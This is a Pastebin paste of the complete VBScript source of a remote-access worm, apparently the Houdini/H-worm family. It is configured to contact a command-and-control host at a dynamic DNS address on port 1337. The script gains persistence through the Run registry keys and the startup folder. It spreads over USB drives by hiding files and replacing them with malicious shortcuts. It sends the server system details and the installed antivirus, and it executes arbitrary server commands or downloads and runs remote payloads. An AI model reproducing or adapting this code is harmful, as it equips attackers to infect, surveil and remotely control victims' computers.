Guest User

Untitled

a guest
Nov 20th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.25 KB | None | 0 0
  1. '<[ recoder : houdini (c) skype : houdini-fx ]>
  2.  
  3. '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  4.  
  5. host = array ("droidjack-red.ddns.net:1337")
  6. installdir = "%temp%"
  7. lnkfile = true
  8. lnkfolder = true
  9.  
  10.  
  11. '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
  12.  
  13. dim shellobj
  14. set shellobj = wscript.createobject("wscript.shell")
  15. dim filesystemobj
  16. set filesystemobj = createobject("scripting.filesystemobject")
  17. dim httpobj
  18. set httpobj = createobject("msxml2.xmlhttp")
  19.  
  20. '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
  21.  
  22. installname = wscript.scriptname
  23. startup = shellobj.specialfolders ("startup") & "\"
  24. installdir = shellobj.expandenvironmentstrings(installdir) & "\"
  25. if not filesystemobj.folderexists(installdir) then installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
  26. spliter = "<" & "|" & ">"
  27. dim response
  28. dim cmd
  29. dim param
  30. info = ""
  31. usbspreading = ""
  32. startdate = ""
  33. dim oneonce
  34. dns = 0
  35.  
  36. '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
  37. on error resume next
  38.  
  39.  
  40. instance
  41. while true
  42.  
  43. install
  44.  
  45. response = ""
  46. response = post ("is-ready",information)
  47. if httpobj.status <> 200 then
  48. if dns >= ubound (host) then
  49. dns = 0
  50. else
  51. dns = dns + 1
  52. end if
  53. end if
  54.  
  55. cmd = split (response,spliter)
  56. select case cmd (0)
  57. case "excecute"
  58. param = cmd (1)
  59. execute param
  60. case "update"
  61. param = cmd (1)
  62. oneonce.close
  63. if filesystemobj.fileexists (installdir & installname & ".bin") then
  64. filesystemobj.deletefile (installdir & installname & ".bin")
  65. end if
  66. download param,installdir
  67. uninstall
  68. case "uninstall"
  69. uninstall
  70. case "send"
  71. download cmd (1),cmd (2)
  72. case "site-send"
  73. sitedownloader cmd (1),cmd (2)
  74. end select
  75.  
  76. wend
  77.  
  78.  
  79. sub install
  80. on error resume next
  81. dim lnkobj
  82. dim filename
  83. dim foldername
  84. dim fileicon
  85. dim foldericon
  86.  
  87. upstart
  88. for each drive in filesystemobj.drives
  89.  
  90. if drive.isready = true then
  91. if drive.freespace > 0 then
  92. if drive.drivetype = 1 then
  93. filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
  94. if filesystemobj.fileexists (drive.path & "\" & installname) then
  95. filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
  96. end if
  97. for each file in filesystemobj.getfolder( drive.path & "\" ).Files
  98. if not lnkfile then exit for
  99. if instr (file.name,".") then
  100. if lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
  101. file.attributes = 2+4
  102. if ucase (file.name) <> ucase (installname) then
  103. filename = split(file.name,".")
  104. set lnkobj = shellobj.createshortcut (drive.path & "\" & filename (0) & ".lnk")
  105. lnkobj.windowstyle = 7
  106. lnkobj.targetpath = "cmd.exe"
  107. lnkobj.workingdirectory = ""
  108. lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  109. fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\")
  110. if instr (fileicon,",") = 0 then
  111. lnkobj.iconlocation = file.path
  112. else
  113. lnkobj.iconlocation = fileicon
  114. end if
  115. lnkobj.save()
  116. end if
  117. end if
  118. end if
  119. next
  120. for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  121. if not lnkfolder then exit for
  122. folder.attributes = 2+4
  123. foldername = folder.name
  124. set lnkobj = shellobj.createshortcut (drive.path & "\" & foldername & ".lnk")
  125. lnkobj.windowstyle = 7
  126. lnkobj.targetpath = "cmd.exe"
  127. lnkobj.workingdirectory = ""
  128. lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
  129. foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\")
  130. if instr (foldericon,",") = 0 then
  131. lnkobj.iconlocation = folder.path
  132. else
  133. lnkobj.iconlocation = foldericon
  134. end if
  135. lnkobj.save()
  136. next
  137. end If
  138. end If
  139. end if
  140. next
  141. err.clear
  142. end sub
  143.  
  144. sub uninstall
  145. on error resume next
  146. dim filename
  147. dim foldername
  148.  
  149. shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  150. shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
  151. filesystemobj.deletefile startup & installname ,true
  152. filesystemobj.deletefile wscript.scriptfullname ,true
  153.  
  154. for each drive in filesystemobj.drives
  155. if drive.isready = true then
  156. if drive.freespace > 0 then
  157. if drive.drivetype = 1 then
  158. for each file in filesystemobj.getfolder ( drive.path & "\").files
  159. on error resume next
  160. if instr (file.name,".") then
  161. if lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
  162. file.attributes = 0
  163. if ucase (file.name) <> ucase (installname) then
  164. filename = split(file.name,".")
  165. filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
  166. else
  167. filesystemobj.deletefile (drive.path & "\" & file.name)
  168. end If
  169. else
  170. filesystemobj.deletefile (file.path)
  171. end if
  172. end if
  173. next
  174. for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
  175. folder.attributes = 0
  176. next
  177. end if
  178. end if
  179. end if
  180. next
  181. wscript.quit
  182. end sub
  183.  
  184. function post (cmd ,param)
  185.  
  186. post = param
  187. httpobj.open "post","http://" & host(dns) &"/" & cmd, false
  188. httpobj.send param
  189. post = httpobj.responsetext
  190. end function
  191.  
  192. function information
  193. on error resume next
  194. if inf = "" then
  195. inf = hwid & spliter
  196. inf = inf & shellobj.expandenvironmentstrings("%computername%") & spliter
  197. inf = inf & shellobj.expandenvironmentstrings("%username%") & spliter
  198.  
  199. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  200. set os = root.execquery ("select * from win32_operatingsystem")
  201. for each osinfo in os
  202. inf = inf & osinfo.caption & spliter
  203. exit for
  204. next
  205. inf = inf & "extended" & spliter
  206. inf = inf & security & spliter
  207. inf = inf & usbspreading
  208. information = inf
  209. else
  210. information = inf
  211. end if
  212. end function
  213.  
  214.  
  215. sub upstart ()
  216. on error resume Next
  217.  
  218. shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  219. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  220. filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
  221. filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
  222.  
  223. end sub
  224.  
  225.  
  226. function hwid
  227. on error resume next
  228.  
  229. set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  230. set disks = root.execquery ("select * from win32_logicaldisk")
  231. for each disk in disks
  232. if disk.volumeserialnumber <> "" then
  233. hwid = disk.volumeserialnumber
  234. exit for
  235. end if
  236. next
  237. end function
  238.  
  239.  
  240. function security
  241. on error resume next
  242.  
  243. security = ""
  244.  
  245. set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
  246. set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
  247. for each objitem in colitems
  248. versionstr = split (objitem.version,".")
  249. next
  250.  
  251. osversion = versionstr (0) & "."
  252. for x = 1 to ubound (versionstr)
  253. osversion = osversion & versionstr (i)
  254. next
  255. osversion = eval (osversion)
  256. if osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
  257.  
  258. set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
  259. Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
  260.  
  261. for each objantivirus in colantivirus
  262. security = security & objantivirus.displayname & " ."
  263. next
  264. if security = "" then security = "nan-av"
  265. end function
  266.  
  267.  
  268. function instance
  269. on error resume next
  270.  
  271. usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
  272. if usbspreading = "" then
  273. if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then
  274. usbspreading = "true - " & date
  275. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
  276. else
  277. usbspreading = "false - " & date
  278. shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\", usbspreading, "REG_SZ"
  279.  
  280. end if
  281. end If
  282.  
  283. upstart
  284. set scriptfullnameshort = filesystemobj.getfile (wscript.scriptfullname)
  285. set installfullnameshort = filesystemobj.getfile (installdir & installname)
  286.  
  287. if lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then
  288. shellobj.run installfullnameshort.shortpath
  289. wscript.quit
  290. end If
  291. err.clear
  292. set oneonce = filesystemobj.opentextfile (installdir & installname & ".bin" ,8, true)
  293. if err.number > 0 then wscript.quit
  294. end function
  295.  
  296.  
  297. sub sitedownloader (fileurl,filename)
  298.  
  299. strlink = fileurl
  300. strsaveto = installdir & filename
  301. set objhttpdownload = createobject("msxml2.xmlhttp" )
  302. objhttpdownload.open "get", strlink, false
  303. objhttpdownload.send
  304.  
  305. set objfsodownload = createobject ("scripting.filesystemobject")
  306. if objfsodownload.fileexists (strsaveto) then
  307. objfsodownload.deletefile (strsaveto)
  308. end if
  309.  
  310. if objhttpdownload.status = 200 then
  311. dim objstreamdownload
  312. set objstreamdownload = createobject("adodb.stream")
  313. with objstreamdownload
  314. .type = 1
  315. .open
  316. .write objhttpdownload.responsebody
  317. .savetofile strsaveto
  318. .close
  319. end with
  320. set objstreamdownload = nothing
  321. end if
  322. if objfsodownload.fileexists(strsaveto) then
  323. shellobj.run objfsodownload.getfile (strsaveto).shortpath
  324. end if
  325. end sub
  326.  
  327. sub download (fileurl,filedir)
  328.  
  329. if filedir = "" then
  330. filedir = installdir
  331. end if
  332.  
  333. strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
  334. set objhttpdownload = createobject("msxml2.xmlhttp")
  335. objhttpdownload.open "post","http://" & host(dns) &"/" & "is-sending" & spliter & fileurl, false
  336. objhttpdownload.send ""
  337.  
  338. set objfsodownload = createobject ("scripting.filesystemobject")
  339. if objfsodownload.fileexists (strsaveto) then
  340. objfsodownload.deletefile (strsaveto)
  341. end if
  342. if objhttpdownload.status = 200 then
  343. dim objstreamdownload
  344. set objstreamdownload = createobject("adodb.stream")
  345. with objstreamdownload
  346. .type = 1
  347. .open
  348. .write objhttpdownload.responsebody
  349. .savetofile strsaveto
  350. .close
  351. end with
  352. set objstreamdownload = nothing
  353. end if
  354. if objfsodownload.fileexists (strsaveto) then
  355. shellobj.run objfsodownload.getfile (strsaveto).shortpath
  356. end if
  357. end sub
Add Comment
Please, Sign In to add comment